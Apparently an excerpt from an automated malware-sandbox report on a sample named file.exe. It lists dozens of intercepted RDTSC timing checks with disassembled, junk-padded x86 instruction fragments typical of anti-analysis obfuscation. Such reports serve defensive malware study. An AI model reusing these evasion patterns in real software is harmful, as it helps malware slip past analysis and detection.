Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D71EB second address: 13D71F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D71F1 second address: 13D71F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D71F5 second address: 13D727E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE537h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 0EB29911h 0x00000012 call 00007FDA8CCCE52Eh 0x00000017 mov dword ptr [ebp+122D1C0Ch], ebx 0x0000001d pop ecx 0x0000001e push 00000003h 0x00000020 mov dword ptr [ebp+122D2DE0h], ebx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FDA8CCCE528h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 mov dword ptr [ebp+122D326Fh], eax 0x00000048 push 00000003h 0x0000004a jmp 00007FDA8CCCE52Eh 0x0000004f push CACFD6F1h 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 pop edi 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D727E second address: 13D7284 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D737B second address: 13D737F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D737F second address: 13D739C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FDA8CCA1268h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jbe 00007FDA8CCA1270h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D739C second address: 13D73B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDA8CCCE52Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D750E second address: 13D7512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7512 second address: 13D7518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7518 second address: 13D7536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007FDA8CCA1266h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov si, 63ABh 0x00000013 push 00000000h 0x00000015 push 2C5B1B2Bh 0x0000001a push edi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7536 second address: 13D75AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 xor dword ptr [esp], 2C5B1BABh 0x0000000f push edx 0x00000010 pop esi 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 mov dword ptr [ebp+124465EFh], edx 0x0000001a mov dword ptr [ebp+122D2EA9h], eax 0x00000020 popad 0x00000021 push 00000000h 0x00000023 movsx edi, cx 0x00000026 push 00000003h 0x00000028 call 00007FDA8CCCE529h 0x0000002d jne 00007FDA8CCCE538h 0x00000033 push eax 0x00000034 pushad 0x00000035 push ebx 0x00000036 jmp 00007FDA8CCCE532h 0x0000003b pop ebx 0x0000003c jo 00007FDA8CCCE52Ch 0x00000042 jnc 00007FDA8CCCE526h 0x00000048 popad 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D75AB second address: 13D75AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D75AF second address: 13D75C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jne 00007FDA8CCCE526h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D75C2 second address: 13D75C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D75C8 second address: 13D75CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D75CC second address: 13D75F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDA8CCA1266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 jp 00007FDA8CCA1272h 0x00000017 jmp 00007FDA8CCA126Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7A4C second address: 13F7A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCCE538h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7A69 second address: 13F7A73 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDA8CCA126Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F591A second address: 13F5923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5923 second address: 13F596C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 jmp 00007FDA8CCA1276h 0x0000000d jmp 00007FDA8CCA1275h 0x00000012 pop edi 0x00000013 pushad 0x00000014 jmp 00007FDA8CCA1272h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F596C second address: 13F5977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDA8CCCE526h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5977 second address: 13F598D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1270h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F598D second address: 13F5991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5AF2 second address: 13F5AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5E1B second address: 13F5E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5E20 second address: 13F5E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jne 00007FDA8CCA1266h 0x0000000c popad 0x0000000d pushad 0x0000000e jnp 00007FDA8CCA1266h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5F7F second address: 13F5FAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Bh 0x00000007 pushad 0x00000008 jmp 00007FDA8CCCE539h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5FAC second address: 13F5FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jmp 00007FDA8CCA126Ah 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F626B second address: 13F626F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F63CD second address: 13F63E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FDA8CCA126Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F63E5 second address: 13F63E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F63E9 second address: 13F6405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCA1276h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6405 second address: 13F6410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6844 second address: 13F6848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6848 second address: 13F6871 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FDA8CCCE526h 0x00000013 jmp 00007FDA8CCCE535h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA8B3 second address: 13EA8B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA8B9 second address: 13EA8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA8BD second address: 13EA8C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA8C3 second address: 13EA8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FDA8CCCE532h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA8D5 second address: 13EA8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EA8DB second address: 13EA8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F72EC second address: 13F7306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1274h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F7306 second address: 13F730E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F730E second address: 13F7312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F78E9 second address: 13F78ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F99BB second address: 13F99C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA074 second address: 13FA07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA07C second address: 13FA08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA08B second address: 13FA0E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE536h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jbe 00007FDA8CCCE52Ch 0x00000014 jg 00007FDA8CCCE528h 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d jl 00007FDA8CCCE536h 0x00000023 jno 00007FDA8CCCE530h 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA0E0 second address: 13FA0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA0E4 second address: 13FA0E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CE950 second address: 13CE95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDA8CCA1266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFAEA second address: 13BFB03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE534h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFB03 second address: 13BFB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDA8CCA1266h 0x0000000a jmp 00007FDA8CCA1272h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnc 00007FDA8CCA1266h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFB2D second address: 13BFB40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FDA8CCCE528h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFB40 second address: 13BFB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 je 00007FDA8CCA1266h 0x0000000c jo 00007FDA8CCA1266h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C49F8 second address: 13C49FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140356F second address: 1403590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCA1278h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403590 second address: 14035A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007FDA8CCCE526h 0x0000000f pushad 0x00000010 popad 0x00000011 jo 00007FDA8CCCE526h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14035A9 second address: 14035B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FDA8CCA1266h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14035B8 second address: 14035CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE530h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403861 second address: 1403867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403867 second address: 1403884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDA8CCCE536h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403884 second address: 140389C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA8CCA126Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FDA8CCA1266h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403C7D second address: 1403C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403DEA second address: 1403DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDA8CCA1266h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403DFC second address: 1403E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404D81 second address: 1404D87 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404E4B second address: 1404E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404E4F second address: 1404E59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDA8CCA1266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404E59 second address: 1404E5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404E5D second address: 1404E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jo 00007FDA8CCA126Ch 0x00000011 jng 00007FDA8CCA1266h 0x00000017 jmp 00007FDA8CCA1275h 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jno 00007FDA8CCA1266h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404FF0 second address: 1404FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14053D0 second address: 14053D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14054AE second address: 14054BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14054BC second address: 14054CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FDA8CCA1266h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14054CA second address: 14054CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405B1E second address: 1405B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405B22 second address: 1405B30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE52Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405B30 second address: 1405B93 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA8CCA1275h 0x00000008 jmp 00007FDA8CCA126Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebx 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FDA8CCA1268h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov si, A661h 0x0000002e nop 0x0000002f pushad 0x00000030 jmp 00007FDA8CCA1275h 0x00000035 jne 00007FDA8CCA1268h 0x0000003b popad 0x0000003c push eax 0x0000003d push ebx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14060A9 second address: 14060B3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14060B3 second address: 1406103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA8CCA126Dh 0x00000008 jmp 00007FDA8CCA1278h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 ja 00007FDA8CCA1272h 0x00000017 nop 0x00000018 xor esi, 5FFEA5F4h 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jng 00007FDA8CCA1268h 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140667D second address: 140668B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDA8CCCE526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140668B second address: 140668F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407F08 second address: 1407F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407F0C second address: 1407F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FDA8CCA1268h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14096A1 second address: 14096A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14096A7 second address: 14096AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
